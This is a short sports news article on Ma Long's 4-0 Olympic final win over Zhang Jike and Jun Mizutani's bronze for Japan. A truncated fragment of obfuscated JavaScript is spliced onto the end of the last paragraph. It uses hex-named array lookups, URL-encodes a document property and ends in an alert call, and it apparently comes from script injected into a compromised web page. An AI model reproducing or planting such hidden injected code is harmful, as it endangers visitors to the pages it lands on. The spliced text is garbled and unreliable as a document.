World No. 1 Ma Long has extended China’s utter domination of table tennis with his 4-0 gold medal win over countryman Zhang Jike, the reigning London champion on August 11.
China’s Ma Long overwhelmed his teammate and defending champion Zhang Jike to bag a gold on Thursday, with Japan’s Jun Mizutani claiming the bronze.
27-year old Ma was quick to capitalised on Zhang’s slipups and misses to emerge victorious 14-12, 11-5, 11-4 and 11-4 after entertaining the fans with a high-paced game of brisk spins and quick reflexes.
Ma, with Zhang, held up a Chinese flag to signify China’s continued domination of table tennis. On August 10, Ding Ning won the women’s gold medal by beating teammate Li Xiaoxia, the defending champion from London.
“This is the first time I’ve participated in such a final, so I felt I had to play like mad to achieve this result,” the 27-year-old Ma told reporters.
Ma came into the tournament as the favorite, with the Olympic medal being the only table tennis accolade that had eluded him. The pressure was heightened as he was facing the older Zhang, a veteran known for showing up for big matches. But the gold-medal match was all Ma, who made a heart shape with his hands and smiled broadly after the last point.
“The main one was the first set, once I lost that I wanted to catch up and win but I found that winning a point was very difficult,” Zhang, 28, said. “You can’t compare this to my match four years ago because the opponent is different.”
The Olympics rules allow only two players from one country to compete in the singles event.
In the bronze medal match, Jun Mizutani of Japan beat former No. 1 Vladimir Samsonov of Belarus. With this win, Japan got its first ever medal in the table tennis men’s singles and its second medal ever in the sport. ]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
